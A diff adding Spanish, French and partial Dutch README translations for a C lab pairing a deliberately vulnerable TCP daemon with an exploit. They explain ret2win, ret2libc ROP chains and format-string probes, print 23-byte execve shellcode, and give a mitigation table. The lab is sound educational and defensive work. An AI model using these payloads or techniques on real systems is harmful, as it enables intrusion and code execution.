buscarse | ret2win y ret2libc por completo. Son *la razón* de que exista ROP | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (ambos por defecto) | Las direcciones hardcodeadas de ret2win. Todo se mueve en cada ejecución | Todo donde el atacante tenga una fuga. ASLR sube el precio de un exploit; no es un fix. Nota que la pila, el heap y mmap se randomizan, pero el *contenido* del binario principal no — eso es lo que usan las cadenas ROP | +| **No fugues** | ningún `printf("%p")` a clientes; inicializa antes de imprimir | La fuga de información que hace que ASLR sea "gratis" en vez de "caro" | — | +| **No uses `printf(user_data)`** | `printf("%s", buf)` en lugar de `printf(buf)` | Errores de cadena de formato: lecturas de pila `%x`, escrituras arbitrarias `%n` — un *otro* camino a RCE | — | +| **No uses rutas no confiables** | valida y `openat()` bajo un directorio fijo | Path traversal (CWE-22) | — | +| **CET / shadow stack** | `-fcf-protection=full`, soporte de kernel y CPU | El `ret` en sí: la shadow stack recuerda la *verdadera* dirección de retorno y falla ante un desajuste. Atrapa cadenas ROP que usan el `ret` de hardware | Ataques que nunca `ret` (call-oriented, o sobrescribir el objetivo de un puntero de función con una cadena de gadgets que no necesita retorno) | +| **Lenguajes seguros** | Rust, Go, C# para código nuevo | Toda la clase. Las comprobaciones de límites se imponen en ejecución, no se esperan en la revisión | — | + +### Compruébalo por ti mismo + +```sh +make run # demonio vulnerable +make test # las tres técnicas funcionan + +make test-hardened # el mismo código fuente, mitigaciones activadas +``` + +`test-hardened` compila `food_hardened` con `-fstack-protector-strong -fPIE +-pie -z noexecstack`, lo intercambia, vuelve a ejecutar las tres y luego +restaura el vulnerable. Verás: + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +Y en el log del demonio endurecido, la canary que se dispara: + +``` +*** stack smashing detected ***: terminated +``` + +Léelo con cuidado, porque es la línea más importante de todo el laboratorio: +**la canary atrapó a ret2win, no PIE.** Las tres técnicas mueren en la canary, +porque las tres pasan por el mismo `read()` y destruyen el mismo marco. NX solo +detiene además el *código* del shellcode; PIE solo rompe además la dirección +hardcodeada. Actívalas una a una, y descubrirás que la mayoría de las +mitigaciones individuales te dejan expuesto a algo. + +--- + +## Archivos + +| Archivo | Propósito | +|---|---| +| `food.c` | el demonio vulnerable. 6 errores numerados, cada uno con su fix en el comentario | +| `fooc.c` | el exploit. Reconocimiento de offset basado en objdump, reconocimiento de libc basado en `/proc`, 4 constructores de payload | +| `shellcode.S` | los 23 bytes de shellcode como assembly, para que sean legibles y verificables. `fooc` los lleva en línea y no lo necesita en ejecución | +| `Makefile` | compila, prueba y la comparación endurecida | +| `tests/pty_test.c` | conduce a `fooc` a través de un pseudo-terminal y comprueba salida real de shell | +| `tests/sock_test.c` | verificador independiente sobre un socket crudo, para que el resultado no dependa de `fooc` | +| `food.log` | el log del demonio. Tu prueba de lo que ocurrió | + +--- + +## Dos errores de este laboratorio que merece la pena entender + +No son los errores del programa objetivo. Son errores del exploit y de su +harness de prueba, y ambos produjeron mentiras convincentes. Están +documentados en la fuente donde viven; están aquí porque los patrones de fallo +son instructivos. + +### Alineación de pila: el crash que no es una desreferencia NULL + +**Síntoma.** La toma de control aterriza correctamente — `gdb` te muestra +dentro de `win()` — y entonces muere lo primero que hace `win()`, un +`dprintf()`. El handler de SIGSEGV informa de `RIP` profundo dentro del +formateador de glibc y una dirección de error de `(nil)`, lo que parece +exactamente un puntero corrupto. + +**Causa.** La ABI System V AMD64 exige una alineación de pila de 16 bytes. Un +`ret` normal restaura `%rsp` exactamente como el `call` correspondiente lo +guardó, así que la invariante se preserva gratis. Nuestro `ret` desnudo no: +después de él, `%rsp = buf + rip_off`. Aquí, `buf` está alineado a 16 bytes y +`rip_off` es 88, así que la callee recibe una pila de 8 mod 16. glibc está +compilada con SSE2, y `movaps` **falla** ante un operando mal alineado. En x86 +eso levanta `#GP`, no `#PF`, así que el kernel no tiene dirección de error e +informa `si_addr = 0`. Ese NULL es la pista: un error de alineación disfrazado +de desreferencia NULL. + +**Fix.** Un gadget `ret` *en el offset `rip_off`*, que desplaza el objetivo +real 8 bytes, porque cada `ret` añade exactamente 8 a `%rsp`. El orden es +crítico: una versión anterior pegaba el `ret` *después* del objetivo y +producía `[ padding | target | ret ]`, donde el `ret` final nunca se alcanza y +el fix no hace nada en silencio. Un `ret` perdido que parece un error es casi +siempre intencional. + +### Un socket, dos lectores: el byte que desapareció + +**Síntoma.** El shellcode se reportó como funcionando. Luego se endureció el +harness pty (apagar `ECHO`, para que la terminal dejara de ecoar su propia +línea de comandos hacia sí misma), y la técnica empezó a fallar. Más +profundo, cada técnica perdía exactamente un byte del inicio de cada trozo de +salida: `uid=1000(hanez)` se imprimía como `id=1000(hanez)`, `PWNED-OK` como +`WNED-OK`, `Linux 7.2.7` como `inux 7.2.7`. + +**Causa.** `fooc` solía hacer `dup2()` del socket sobre su propio stdin/stdout +y `execv()` de un `/bin/sh` *local*, mientras un hijo relay forkado también leía +el mismo socket para mover la salida al terminal. Al kernel le da igual que los +dos cooperen. Un socket de stream tiene **un** cursor de lectura, y cada lector +lo mueve, así que los bytes se reparten entre ellos de forma impredecible. El +shell local — un shell de login interactivo — leía exactamente un byte y lo +desechaba, cada vez. `strace -f` lo mostró de inmediato: + +``` +read(0, "u", 1) <- el shell local, comiéndose un byte +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- el relay, 1 byte corto +``` + +**Fix.** No hay ningún shell en este lado, punto. Hay exactamente un shell en +todo el cuadro, y está en la víctima, dentro del proceso secuestrado, con la +conexión TCP como su stdin/stdout. Este lado solo mueve bytes. Si alguna vez +necesitas dos consumidores de un stream, ese stream necesita un único lector +que lo demultiplexe deliberadamente. + +**La meta-lección.** El primer resultado "funcionante" fue un falso positivo, +producido porque la pty ecoaba su propia línea de comandos hacia sí misma, y el +fix de ese falso positivo es lo que reveló el error real. Las pruebas que no +pueden fallar son peores que ninguna prueba, porque convierten "no lo sé" en +"funciona". Un harness de prueba merece la misma sospecha que el código que +prueba. + +--- + +## Experimentar con ello + +Cosas que merece la pena probar, más o menos en el orden en que más aprendes de +ellas: + +1. **Cambia `FOOD_BUFSZ` a 128.** Vuelve a ejecutar `fooc`. Debería seguir + funcionando sin cambios, porque lee el offset del desensamblado. Luego + rómpelo a mano — hardcodea 88 — y míralo crashear. Después añade un segundo + array entre `buf` y los registros guardados, y mira cómo lo gestiona el + reconocimiento automático. + +2. **Añade `-Wformat-security` y mira qué hace el camino de cadena de + formato.** Envía `%p %p %p %n` y mira a `food` fugando la pila. + +3. **Usa gdb.** `make debug`, luego: + ```gdb + (gdb) break food.c:393 # el read() que se desborda + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # observa dónde está la dirección de retorno + (gdb) c # en otra terminal: ./fooc -t ret2win + ``` + El handler de SIGSEGV registra `REG_RIP` y `REG_RSP`, así que `food.log` te + dice si la toma de control aterrizó, incluso cuando el hijo muere antes de + que puedas adjuntarte. + +4. **Borra el fix de alineación** en `fooc.c` y mira el error `#GP` con la + firma `si_addr = 0`. Luego lee `/proc/sys/kernel/randomize_va_space` y + piensa qué randomiza ASLR y qué no. + +5. **Rompe la resolución de símbolos de libc** y mira cómo se adapta `fooc`. + Todo el punto del enfoque `/proc/self/maps` es que ningún offset está + hardcodeado. + +6. **Escribe una cuarta técnica.** Una cadena tipo `ret2csu` si puedes + encontrar `__libc_csu_init`, o una cadena SROP (los marcos `sigreturn` te + dejan controlar todos los registros a la vez). Ambas son ROP puro y no + necesitan memoria ejecutable. + +7. **Arregla `food.c` de verdad**, un error a la vez, y vuelve a ejecutar el + exploit después de cada fix. El orden de la tabla al inicio de `food.c` es + más o menos el orden correcto en que pensar: limita primero el read, porque + nada más importa hasta que el bug desaparece. + +--- + +## Limpieza + +```sh +make stop # detiene food +make clean # elimina los productos de compilación; deja food.log en paz +pkill -x sh # solo si tienes shells sueltos de una prueba que salió mal +``` + +Nota: `pkill -x food` coincide exactamente con el **nombre** del proceso. No +uses `pkill -f ./food` — ese patrón también coincide con el shell donde lo +escribes y mata tu propia sesión. No es una hipótesis; ocurrió mientras se +construía este laboratorio. \ No newline at end of file diff --git a/README.FR.md b/README.FR.md new file mode 100644 index 0000000..1de7172 --- /dev/null +++ b/README.FR.md @@ -0,0 +1,434 @@ +# food / fooc — un débordement de tampon de pile, des deux côtés + +Un laboratoire de sécurité en C99 en deux moitiés : + +- **`food.c`** — un démon TCP volontairement vulnérable. Il contient un vrai + débordement de tampon de pile, digne d'un manuel (CWE-120), plus quelques + bugs en prime. +- **`fooc.c`** — un exploit contre lui. Il calcule l'offset du débordement en + désassemblant le programme cible à l'exécution, lit les fuites d'adresses du + démon et obtient un shell sur la « victime » en écrasant une adresse de + retour sauvegardée. + +Le but n'est pas le shell. Le but est que vous puissiez suivre de bout en bout +comment un bug de sécurité mémoire devient une exécution de code arbitraire — +puis voir exactement quelles contre-mesures arrêtent chaque maillon de cette +chaîne. Chaque ligne des deux programmes est commentée, parce que le mécanisme +est la leçon. + +``` + votre terminal + | + ./fooc (exploit) + | + TCP 127.0.0.1:2342 + | + ./food (démon vulnérable) + | + fork() -> vulnerable_handler() -> overflow -> ret -> votre code +``` + +--- + +## ⚠️ Lisez ceci d'abord + +**`food` est un service réseau volontairement cassé. Il ne se lie qu'à +`127.0.0.1`, et cette valeur par défaut est volontaire — laissez-la.** + +- Ne l'exécutez **pas** sur une machine à laquelle vous tenez, ni sur quelque + chose qui contient des données. +- Ne le liez **pas** à `0.0.0.0` ou à une vraie interface réseau. Il est + volontairement exploitable à distance. +- Pointer `fooc` vers une machine que vous ne possédez pas ou que vous n'avez + pas l'autorisation écrite de tester est une infraction informatique dans la + plupart des juridictions — y compris en vertu de l'UK Computer Misuse Act et + de l'US Computer Fraud and Abuse Act. +- Il se lie à un port non privilégié (>1024), donc pas besoin de root. Ne + l'« améliorez » pas en ajoutant des capabilities ou en l'exécutant comme + service système. +- Chaque connexion est traitée dans un enfant `fork()`, et `food` les reape, + donc les crashs ne s'accumulent pas. Si vous retrouvez ensuite des dizaines + de `sh` qui traînent, `pkill -x sh` est le nettoyage. + +En cas de doute : ce lab est fait pour une machine virtuelle ou un conteneur, +sur un réseau que vous contrôlez, sur une machine sans rien que vous +regretteriez. + +--- + +## Démarrage rapide + +```sh +make # compile food, fooc et les harnesses de test +make run # démarre food sur 127.0.0.1:2342, détaché en arrière-plan +make test # exécute les trois techniques d'exploit +make stop # arrête le démon +``` + +Ensuite, à la main : + +```sh +./fooc -t leak # regardez les fuites d'adresses que food divulgue +./fooc -t demo -v # envoyez du bourrage ; voyez food mourir d'un SIGSEGV +./fooc -t ret2win -i # sautez vers une fonction qui existe déjà -> shell +``` + +### Prérequis + +| Outil | Pour quoi | Remarques | +|---|---|---| +| `gcc` (ou clang) | compilation | C99. Testé avec gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` l'appelle à l'exécution | +| `nasm` | `make verify` | uniquement pour recouper la shellcode ; ignoré s'il manque | +| `gdb` | `make debug` | optionnel | +| Linux, x86-64 | les deux | la payload et la chasse aux gadgets dépendent de l'architecture | + +`fooc` a aussi besoin de `-ldl` pour `dlsym()` ; le Makefile s'en charge. + +--- + +## Le bug + +Une ligne dans `food.c` est toute la surface d'attaque : + +```c +char buf[FOOD_BUFSZ]; /* 64 octets */ +n = read(fd, buf, FOOD_READMAX); /* jusqu'à 512 octets depuis le réseau */ +``` + +64 octets de destination, 512 acceptés. L'attaquant écrit 448 octets au-delà +de la fin du tampon, et comme la pile croît vers le bas, « au-delà de la fin » +signifie « dans le cadre au-dessus » — et c'est exactement là que se trouvent +le pointeur de trame sauvegardé et l'**adresse de retour sauvegardée**. + +Dans une fonction x86-64 compilée à `-O0` : + +``` + adresses hautes + +------------------------+ rbp + 16 : locales de l'appelant + | ... | + +------------------------+ rbp + 8 : ADRESSE DE RETOUR SAUVEGARDÉE <-- devient RIP + | saved rbp (8 bytes) | + +------------------------+ rbp : notre pointeur de trame + | line[128] | + | buf[64] | <- rsp : ce que read() remplit + +------------------------+ + adresses basses +``` + +Quand la fonction retourne, `leave; ret` pousse les 8 octets dans `RIP`, et le +CPU saute là où l'attaquant l'a décidé. Tout le reste dans ce lab est de +l'arithmétique sur où pointer. + +Pour cette compilation, les chiffres sont : `buf` fait 64 octets, le `rbp` +sauvegardé fait 8, donc l'adresse de retour est à l'offset **88** du début de +`buf`. `fooc` ne hardcode pas ça — il désassemble `food` et trouve le +`lea -0x50(%rbp)` devant `call read@plt`, donc ça continue de marcher si vous +changez `FOOD_BUFSZ`. + +> gcc vous le dit déjà. Compiler `food` affiche : +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. N'étouffez jamais cet avertissement +> dans du vrai code. C'est de la sécurité gratuite. + +--- + +## Les trois techniques + +`fooc -t `. Elles sont dans l'ordre où un vrai attaquant s'y +prendrait, parce que chacune a besoin de ce que la précédente vous a appris. + +### 1. `ret2win` — contrôlez le pointeur d'instruction + +``` +[ 88 octets de bourrage ][ l'adresse du win() de food ] + ^ saved rbp + ^ devient RIP +``` + +`win()` est une fonction du programme cible qui exec `/bin/sh`. Écraser +l'adresse de retour avec son adresse, c'est tout l'exploit. + +**Ce que ça apprend :** vous avez un contrôle arbitraire du pointeur +d'instruction. Pas besoin de fuite non plus, car le binaire est compilé avec +`-no-pie`, donc `win()` est à une adresse fixe pour toujours. + +**L'équivalent dans le monde réel** n'est pas « les attaques sont faciles », +mais « ne livrez pas de portes dérobées non documentées dans des binaires +réseau ». S'il existe une fonction comme `win()` dans votre binaire, un +débordement de tampon la trouvera. C'est littéralement la classe des CVE de +backdoor Juniper ScreenOS. + +**Défense :** `-fPIE` (ou ASLR) randomise l'adresse de chargement, donc +l'attaquant doit connaître l'adresse — ce qui signifie en pratique qu'il lui +faut d'abord une fuite. C'est pourquoi `ret2win` échoue contre +`food_hardened`. + +### 2. `ret2libc` — appelez n'importe quoi, par son nom + +``` +[ bourrage ][ pop rdi; ret ][ adresse de "/bin/sh" ][ adresse de system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + met rdi la chaîne à envoyer la fonction à appeler +``` + +À l'exécution : `ret` pousse `pop rdi; ret` dans RIP ; ça pousse le pointeur +`"/bin/sh"` dans `RDI` ; son `ret` pousse `system()` dans RIP, pendant que +`RDI` tient toujours la chaîne. `system("/bin/sh")` s'exécute. + +Les gadgets (`pop rdi; ret`) ne sont pas dans `food` — cette glibc n'a pas de +`__libc_csu_init` — donc `fooc` les trouve en scannant la mémoire live de la +libc à la recherche de la paire d'octets `5f c3`. Il localise la libc via +`/proc/self/maps`, trouve les offsets de `system` et `"/bin/sh"` avec +`dlsym()` et calcule la base à partir de la fuite que `food` divulgue. Rien +n'est hardcodé, donc ça survit à une mise à jour de la libc. + +**Ce que ça apprend :** une fois que vous contrôlez `RIP`, vous pouvez +enchaîner des instructions *existantes*. C'est la programmation orientée +retour (return-oriented programming), et c'est à ça que ressemblent presque +tous les vrais exploits, parce que ça ne nécessite pas de mémoire exécutable +fournie par l'attaquant. + +**Défense :** aucun des flags du compilateur ne l'arrête seul. Ça marche +contre un binaire PIE, avec NX, avec canary — tant que l'attaquant a une +fuite. Les défenses sont « n'ayez pas le débordement » et « ne fuytez pas +d'adresses ». Voir le tableau ci-dessous. + +### 3. `shellcode` — exécutez votre propre code machine + +23 octets, placés au début du tampon, avec `RIP` pointant dessus : + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" en 8 octets bruts +push rdi ; dépose la chaîne sur la pile +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; nous voilà un shell +``` + +C'est la forme la plus pure du bug : l'attaquant fournit les *instructions*, +pas seulement l'adresse d'instructions qui existent déjà. Aucun offset de +libc nécessaire, donc ça marche en principe contre une cible statiquement +liée, entièrement randomisée. + +`make verify` assemble `shellcode.S` et le diff contre le tableau d'octets +intégré dans `fooc.c`, pour que les deux ne puissent pas diverger. + +**Défense :** **NX** (aussi appelé W^X, « no execute »). Marquer la pile comme +non exécutable fait que le matériel refuse d'y chercher des instructions, et +le `ret` atterrit sur une page qui ne peut pas tourner. C'est pourquoi +`make food` passe `-z execstack` : une pile Linux normale est `rw-p`, pas +`rwx`, et la technique meurt d'un SIGSEGV à `RIP = l'adresse de la payload`. +La leçon la plus importante du lab est que chacun de ces octets ne fonctionne +que parce qu'on a dit au compilateur de rendre la pile exécutable. Ce flag est +activé pour le bien de personne. + +### Aussi inclus + +| Mode | Ce qu'il fait | +|---|---| +| `-t leak` | se connecte, affiche les fuites, n'envoie rien | +| `-t demo` | envoie `rip_off + 8` octets de `0x41`, donc `RIP` devient `0x4141...` et le démon meurt. Prouve le bug sans aucune connaissance d'adresse | +| `-t sled` | un ret-sled, conservé volontairement comme exemple **échec**. Sans fuite, vous brute-foreeriez ASLR en remplissant le tampon avec l'adresse d'un `ret`. Impossible ici : `food` accepte 512 octets, donc le sled a ~53 emplacements contre ~28 bits d'entropie. Implémenté pour que vous puissiez le voir échouer et confirmer que le mécanisme est vraiment « le CPU suit une chaîne de rets » | + +--- + +## Le tableau des contre-mesures + +C'est la partie à retenir. Chaque ligne est une vraie défense, et la colonne +de droite montre ce qu'elle fait réellement à la chaîne des événements. + +| Contre-mesure | Comment l'activer | Ce qu'elle arrête | Ce qu'elle *n'arrête pas* | +|---|---|---|---| +| **Limitez read** | `n = read(fd, buf, sizeof buf - 1);` | **Tout.** Le bug n'existe pas, donc rien en aval n'a d'importance | Rien — c'est le seul correctif complet | +| **Canary de pile** | `-fstack-protector-strong` (par défaut chez gcc) | Le `ret` : la canary est vérifiée à la sortie de la fonction, la corruption est donc détectée et le processus abort avant que `RIP` soit poussé | Un bug dans une fonction *sans* tableau (rien à protéger) ; un débordement qui reste sous la canary ; tout ce qui ne retourne pas normalement | +| **NX / W^X** | `-z noexecstack` (la valeur par défaut) | La shellcode. Les instructions de la payload ne peuvent pas être cherchées | ret2win et ret2libc complètement. C'est *la raison* pour laquelle ROP existe | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (tous deux par défaut) | Les adresses hardcodées de ret2win. Tout bouge à chaque exécution | Tout ce où l'attaquant a une fuite. ASLR augmente le prix d'un exploit ; ce n'est pas un correctif. Notez que la pile, le tas et mmap sont randomisés, mais pas le *contenu* du binaire principal — c'est ce que les chaînes ROP utilisent | +| **Ne fuytez rien** | aucun `printf("%p")` vers les clients ; initialisez avant d'afficher | La fuite d'information qui rend ASLR « gratuit » au lieu de « cher » | — | +| **N'utilisez pas `printf(user_data)`** | `printf("%s", buf)` au lieu de `printf(buf)` | Les bugs de chaîne de format : lectures de pile `%x`, écritures arbitraires `%n` — une *autre* voie vers RCE | — | +| **N'utilisez pas de chemins non fiables** | validez et `openat()` sous un répertoire fixe | Traversal de chemin (CWE-22) | — | +| **CET / shadow stack** | `-fcf-protection=full`, support noyau et CPU | Le `ret` lui-même : la shadow stack mémorise la *vraie* adresse de retour et fault en cas de mismatch. Attrape les chaînes ROP qui utilisent le `ret` matériel | Les attaques qui ne `ret` jamais (call-oriented, ou écraser la cible d'un pointeur de fonction avec une chaîne de gadgets qui n'a pas besoin de retour) | +| **Langages sûrs** | Rust, Go, C# pour le nouveau code | Toute la classe. Les vérifications de bornes sont imposées à l'exécution, pas espérées à la revue | — | + +### Voyez par vous-même + +```sh +make run # démon vulnérable +make test # les trois techniques fonctionnent + +make test-hardened # même code source, contre-mesures activées +``` + +`test-hardened` compile `food_hardened` avec `-fstack-protector-strong -fPIE +-pie -z noexecstack`, l'échange, rejoue les trois techniques puis remet la +version vulnérable en place. Vous verrez : + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +Et dans le log du démon durci, la canary qui se déclenche : + +``` +*** stack smashing detected ***: terminated +``` + +Lisez bien, car c'est la ligne la plus importante de tout le lab : **la canary +a attrapé ret2win, pas PIE.** Les trois techniques meurent à la canary, parce +que les trois passent par le même `read()` et écrasent le même cadre. NX +n'arrête en plus que le *code* de la shellcode ; PIE ne casse en plus que +l'adresse hardcodée. Activez-les une par une, et vous découvrirez que la +plupart des contre-mesures isolées vous laissent exposé à quelque chose. + +--- + +## Fichiers + +| Fichier | Rôle | +|---|---| +| `food.c` | le démon vulnérable. 6 bugs numérotés, chacun avec son correctif en commentaire | +| `fooc.c` | l'exploit. Reconnaissance d'offset par objdump, reconnaissance de la libc via `/proc`, 4 constructeurs de payload | +| `shellcode.S` | les 23 octets de shellcode en assembly, pour être lisibles et vérifiables. `fooc` les embarque en ligne et n'en a pas besoin à l'exécution | +| `Makefile` | compile, teste et la comparaison durcie | +| `tests/pty_test.c` | conduit `fooc` à travers un pseudo-terminal et vérifie une vraie sortie de shell | +| `tests/sock_test.c` | vérificateur indépendant sur une socket brute, pour que le résultat ne dépende pas de `fooc` | +| `food.log` | le log du démon. Votre preuve de ce qui s'est passé | + +--- + +## Deux bugs de ce lab qui valent la peine d'être compris + +Ce ne sont pas les bugs du programme cible. Ce sont des bugs de l'exploit et +de sa harnesse de test, et les deux ont produit des mensonges convaincants. +Ils sont documentés dans la source où ils vivent ; ils sont ici parce que les +schémas d'échec sont instructifs. + +### Alignement de pile : le crash qui n'est pas une déréférence NULL + +**Symptôme.** L'overtake atterrit correctement — `gdb` vous montre dans +`win()` — et puis la toute première chose que fait `win()`, un `dprintf()`, +meurt. Le handler SIGSEGV rapporte `RIP` profond dans le formatter de glibc +et une adresse d'erreur de `(nil)`, ce qui ressemble exactement à un pointeur +corrompu. + +**Cause.** L'ABI System V AMD64 exige un alignement de pile de 16 octets. Un +`ret` normal restaure `%rsp` exactement comme le `call` correspondant l'avait +stocké, donc l'invariant est préservé gratuitement. Notre `ret` nu ne le fait +pas : après lui, `%rsp = buf + rip_off`. Ici, `buf` est aligné sur 16 octets +et `rip_off` vaut 88, donc le callee reçoit une pile à 8 mod 16. glibc est +compilé avec SSE2, et `movaps` **fault** sur un opérande mal aligné. Sur +x86, ça soulève `#GP`, pas `#PF`, donc le noyau n'a pas d'adresse d'erreur et +rapporte `si_addr = 0`. Ce NULL est l'indice : une erreur d'alignement +déguisée en déréférence NULL. + +**Correctif.** Un gadget `ret` *à l'offset `rip_off`*, qui décale la vraie +cible de 8 octets, parce que chaque `ret` ajoute exactement 8 à `%rsp`. +L'ordre est critique : une version précédente collait le `ret` *après* la +cible et produisait `[ padding | target | ret ]`, où le `ret` final n'est +jamais atteint et le correctif ne fait silencieusement rien. Un `ret` égaré +qui ressemble à un bug est presque toujours intentionnel. + +### Une socket, deux lecteurs : l'octet disparu + +**Symptôme.** La shellcode était rapportée comme fonctionnant. Puis la harness +pty a été durcie (désactivation de `ECHO`, pour que le terminal arrête de +s'échoir sa propre ligne de commande), et la technique a commencé à échouer. +Plus profondément, chaque technique perdait exactement un octet au début de +chaque morceau de sortie : `uid=1000(hanez)` était affiché comme +`id=1000(hanez)`, `PWNED-OK` comme `WNED-OK`, `Linux 7.2.7` comme +`inux 7.2.7`. + +**Cause.** `fooc` faisait un `dup2()` de la socket sur son propre stdin/stdout +et un `execv()` d'un `/bin/sh` *local*, pendant qu'un enfant relay forké +lisait aussi la même socket pour déplacer la sortie vers le terminal. Le +noyau se moque que les deux coopèrent. Une socket stream a **une** curseur de +lecture, et chaque lecteur la déplace, donc les octets sont répartis entre eux +de façon imprévisible. Le shell local — un shell de connexion interactif — +lisait exactement un octet et le jetait, à chaque fois. `strace -f` l'a montré +immédiatement : + +``` +read(0, "u", 1) <- le shell local, mange un octet +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- le relay, 1 octet de trop court +``` + +**Correctif.** Il n'y a aucun shell de ce côté-ci, point. Il y a exactement un +shell dans tout le tableau, et il est sur la victime, dans le processus +détourné, avec la connexion TCP comme stdin/stdout. Ce côté ne fait que +déplacer des octets. Si vous avez un jour besoin de deux consommateurs d'un +flux, ce flux a besoin d'un lecteur unique qui le démultiplexe délibérément. + +**La meta-leçon.** Le premier résultat « fonctionnel » était un faux positif, +produit par le fait que le pty s'échoit sa propre ligne de commande, et le +correctif de ce faux positif est ce qui a révélé le vrai bug. Des tests qui ne +peuvent pas échouer sont pires que pas de tests, parce qu'ils transforment « je +ne sais pas » en « ça marche ». Une harnesse de test mérite la même suspicion +que le code qu'elle teste. + +--- + +## Bidouiller dessus + +Des choses qui valent le coup d'essayer, à peu près dans l'ordre où vous en +apprenez le plus : + +1. **Changez `FOOD_BUFSZ` en 128.** Relancez `fooc`. Ça devrait continuer de + marcher sans modification, parce qu'il lit l'offset dans le désassemblage. + Cassez-le ensuite à la main — hardcodez 88 — et voyez-le crasher. Ajoutez + puis un deuxième tableau entre `buf` et les registres sauvegardés, et voyez + la reconnaissance automatique s'en charger. + +2. **Ajoutez `-Wformat-security` et voyez ce que fait le chemin de chaîne de + format.** Envoyez `%p %p %p %n` et voyez `food` fuyter la pile. + +3. **Utilisez gdb.** `make debug`, puis : + ```gdb + (gdb) break food.c:393 # le read() qui déborde + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # remarquez où se trouve l'adresse de retour + (gdb) c # dans un autre terminal : ./fooc -t ret2win + ``` + Le handler SIGSEGV journalise `REG_RIP` et `REG_RSP`, donc `food.log` vous + dit si l'overtake a atterri, même quand l'enfant meurt avant que vous + puissiez vous attacher. + +4. **Supprimez le correctif d'alignement** dans `fooc.c` et voyez l'erreur + `#GP` avec la signature `si_addr = 0`. Lisez ensuite + `/proc/sys/kernel/randomize_va_space` et réfléchissez à ce qu'ASLR + randomise, et à ce qu'il ne randomise pas. + +5. **Cassez la résolution de symboles de la libc** et voyez `fooc` + s'adapter. Tout l'intérêt de l'approche `/proc/self/maps` est qu'aucun + offset n'est hardcodé. + +6. **Écrivez une quatrième technique.** Une chaîne de type `ret2csu` si vous + trouvez `__libc_csu_init`, ou une chaîne SROP (les cadres `sigreturn` + vous laissent contrôler tous les registres d'un coup). Les deux sont du ROP + pur et n'ont besoin d'aucune mémoire exécutable. + +7. **Corrigez `food.c` proprement**, un bug à la fois, et relancez l'exploit + après chaque correctif. L'ordre du tableau en haut de `food.c` est à peu + près le bon ordre de pensée : limitez d'abord le read, car rien d'autre + n'importe tant que le bug n'est pas parti. + +--- + +## Nettoyage + +```sh +make stop # arrête food +make clean # supprime les produits de compilation ; laisse food.log tranquille +pkill -x sh # seulement si vous avez des shells qui traînent d'un test raté +``` + +Notez : `pkill -x food` matche le **nom** du processus exactement. N'utilisez +pas `pkill -f ./food` — ce motif matche aussi le shell dans lequel vous le +tapez et tue votre propre session. Ce n'est pas une hypothèse ; c'est arrivé +pendant la construction de ce lab. \ No newline at end of file diff --git a/README.NL.md b/README.NL.md new file mode 100644 index 0000000..d91f8c6 --- /dev/null +++ b/README.NL.md @@ -0,0 +1,424 @@ +# food / fooc — een stack-bufferoverloop, van beide kanten + +Een C99-beveiligingslab in twee helften: + +- **`food.c`** — een bewust kwetsbare TCP-daemon. Hij heeft een echte, + schoolboekachtige stack-bufferoverloop (CWE-120), plus een paar bugs + extra. +- **`fooc.c`** — een exploit daarvoor. Hij berekent de overflow-offset door + het doelprogramma tijdens het draaien te disassembleren, leest + adres-leaks van de daemon en krijgt een shell op het "slachtoffer" door + een opgeslagen retouradres te overschrijven. + +Het punt is niet de shell. Het punt is dat je van begin tot eind kunt volgen hoe +een geheugenveiligheidsbug uitgroeit tot willekeurige code-uitvoering — en +daarna precies ziet welke tegenmaatregelen elke stap in die keten stoppen. +Elke regel in beide programma's is gecommentarieerd, want het mechanisme is de +les. + +``` + jouw terminal + | + ./fooc (exploit) + | + TCP 127.0.0.1:2342 + | + ./food (kwetsbare daemon) + | + fork() -> vulnerable_handler() -> overflow -> ret -> jouw code +``` + +--- + +## ⚠️ Lees dit eerst + +**`food` is een bewust kapotte netwerkdienst. Hij bindt alleen aan +`127.0.0.1`, en die standaard is bewust — laat hem daar.** + +- Draai hem **niet** op een machine waar je om geeft, of op iets met data. +- Bind hem **niet** aan `0.0.0.0` of een echte netwerkinterface. Hij is + bewust extern exploiteerbaar. +- `fooc` richten op een host die je niet bezit of waarvoor je geen schriftelijke + toestemming hebt om te testen, is in de meeste rechtsgebieden een + computercriminaliteitsovertreding — ook onder de UK Computer Misuse Act en + de US Computer Fraud and Abuse Act. +- Hij bindt aan een onbevoordeelde poort (>1024), dus je hebt geen root nodig. + "Verbeter" hem niet door capabilities toe te voegen of hem als + systeemdienst te draaien. +- Elke verbinding wordt afgehandeld in een `fork()`-kind, en `food` reapt + het, dus crashes stapelen zich niet op. Vind je daarna tientallen losse + `sh`-processen, dan is `pkill -x sh` de opruiming. + +Bij twijfel: dit lab is voor een virtuele machine of container, op een netwerk +dat jij beheert, op een machine zonder iets dat je zou missen. + +--- + +## Snelle start + +```sh +make # bouwt food, fooc en de test-harnesses +make run # start food op 127.0.0.1:2342, losgekoppeld op de achtergrond +make test # draait alle drie de exploit-technieken +make stop # stopt de daemon +``` + +Daarna met de hand: + +```sh +./fooc -t leak # bekijk de adres-leaks die food prijsgeeft +./fooc -t demo -v # stuur rommel; zie food sterven met SIGSEGV +./fooc -t ret2win -i # spring naar een functie die al bestaat -> shell +``` + +### Vereisten + +| Hulpmiddel | Waarvoor | Opmerkingen | +|---|---|---| +| `gcc` (of clang) | bouwen | C99. Getest met gcc 